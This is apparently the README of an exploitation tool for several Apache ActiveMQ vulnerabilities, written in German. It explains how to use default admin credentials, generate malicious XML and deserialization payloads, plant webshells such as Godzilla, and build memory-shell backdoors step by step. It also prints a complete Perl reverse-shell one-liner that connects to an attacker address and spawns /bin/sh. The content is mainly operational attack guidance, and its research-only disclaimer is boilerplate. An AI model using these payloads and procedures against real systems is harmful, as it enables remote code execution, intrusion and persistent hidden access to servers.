
Apache ActiveMQ umfassendes Ausnutzungstool für Schwachstellen (CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026-40466, CVE-2026-42588)
Unterstützt Erkennung und Ausnutzung von Apache ActiveMQ-Schwachstellen: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] Dieses Tool dient ausschließlich zu Sicherheitsforschungs- und Lernzwecken. Der Benutzer trägt die alleinige Verantwortung für alle rechtlichen und damit verbundenen Konsequenzen, die sich aus der Nutzung dieses Tools ergeben. Stelle sicher, dass dein Handeln den örtlichen Gesetzen und Vorschriften entspricht. Der Autor übernimmt keinerlei Haftung. Wenn du damit nicht einverstanden bist, verwende dieses Tool nicht.
Start mit JDK 8, Openwire-Standardport 61616, manchmal ist die Zielumgebung möglicherweise nicht geöffnet. Apache ActiveMQ-Standardbenutzername und -passwort: admin:admin. Das BeanXML-Einstellungsfeld kann bösartige XML-Dateien generieren, die entsprechende Befehle ausführen. Bei Fragen kannst du gerne ein Issue eröffnen.
Bei der Schwachstellenerkennung kann die bösartige XML-Serveradresse auf dnslog gesetzt werden. Wenn eine Anfrage eingeht, bedeutet dies, dass möglicherweise CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 vorhanden sind.
java-chains generiert Deserialisierungsdaten, zur Verifizierung der Schwachstelle kann URLDNS verwendet werden.
Bei der Reverse-Shell ist es am besten, Perl zu verwenden; sh und bash funktionieren manchmal nicht.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Beim Schreiben einer benutzerdefinierten Webshell führt das Schreiben von "Ice Scorpion" zu einem 500-Fehler, während "Godzilla" normal funktioniert. Bei der Verbindung des Tools muss der Authentifizierungs-Header hinzugefügt werden.
Ab Version 1.4 ist das Memory-Shell-Generierungsmodul MemShellParty nicht mehr integriert, zum einen wegen der Aufblähung des Fat-JAR-Pakets, zum anderen, weil die von springbeanxmlclassloader benötigte Base64-Decodierungsmethode nicht in allen Java-Versionen universell ist, was dazu führt, dass das Tool das Rad neu erfinden muss. Personen, die eine Memory-Shell benötigen, können den folgenden Prozess zur XML-Generierung als Referenz verwenden.
Zuerst den entsprechenden Base64-String der Memory-Shell auf MemShellParty generieren: https://party.mem.mk/ui

Dann zu java-chains gehen, Generate-OtherPayload finden und "Custom Bytecode" auswählen.

Wähle die Base64-Decodierungsmethode entsprechend der JDK-Version, standardmäßig die decodeFromString-Methode, während der CVE-2026-34197-Übungsplatz in vulhub java.util.Base64 benötigt.
Zum Schluss den Base64-String der Memory-Shell einfügen und auf "Generieren" klicken.

Bei Filter-, Listener- oder Servlet-Typ muss der Pfad /admin/, /api/ sowie der Authentifizierungs-Header zur Verbindungsadresse der Memory-Shell hinzugefügt werden. Handler benötigen keinen Pfad und kein Authentifizierungs-Header-Feld.
Danksagungen